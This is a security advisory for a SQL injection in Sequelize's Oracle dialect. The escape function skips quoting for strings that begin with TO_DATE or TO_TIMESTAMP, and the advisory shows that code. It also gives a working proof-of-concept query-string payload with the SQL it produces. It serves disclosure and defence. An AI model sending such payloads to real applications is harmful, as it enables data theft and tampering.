Summary
Sequelize: SQL Injection (Oracle DB)
Advisory details
Summary
SQL Injection is possible with strings only if dialect is set to oracle.
The vulnerability was confirmed on Sequelize v6.37.3.
Details
The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val;
}
val = val.replace(/'/g, "''");
}
PoC
Suppose the application has the following code:
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
An attacker can inject arbitrary sql expressions.
http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--
The resulted SQL will be:
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact
Data theft and tampering.
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-72807
SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel
- CRITICALCVE-2026-72811
SiYuan: SQL injection in backlink/mention search via unescaped stored and client input (publish mode): first-order (client keyword) and second-order (stored document title) breakout on read-write handle
- CRITICALCVE-2026-71867
Orval: RCE via schema property name -> computed-property-key injection in the MSW mock generator
- CRITICALCVE-2026-71866
Orval: Import-time RCE via schema property name -> computed-property-key injection in the zod client
- HIGHCVE-2026-59834
SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content
- MEDIUMCVE-2026-55855
MariaDB has possible SQL injection in Buffer parameter escaping under big5/gbk/sjis/cp932/gb18030 client charsets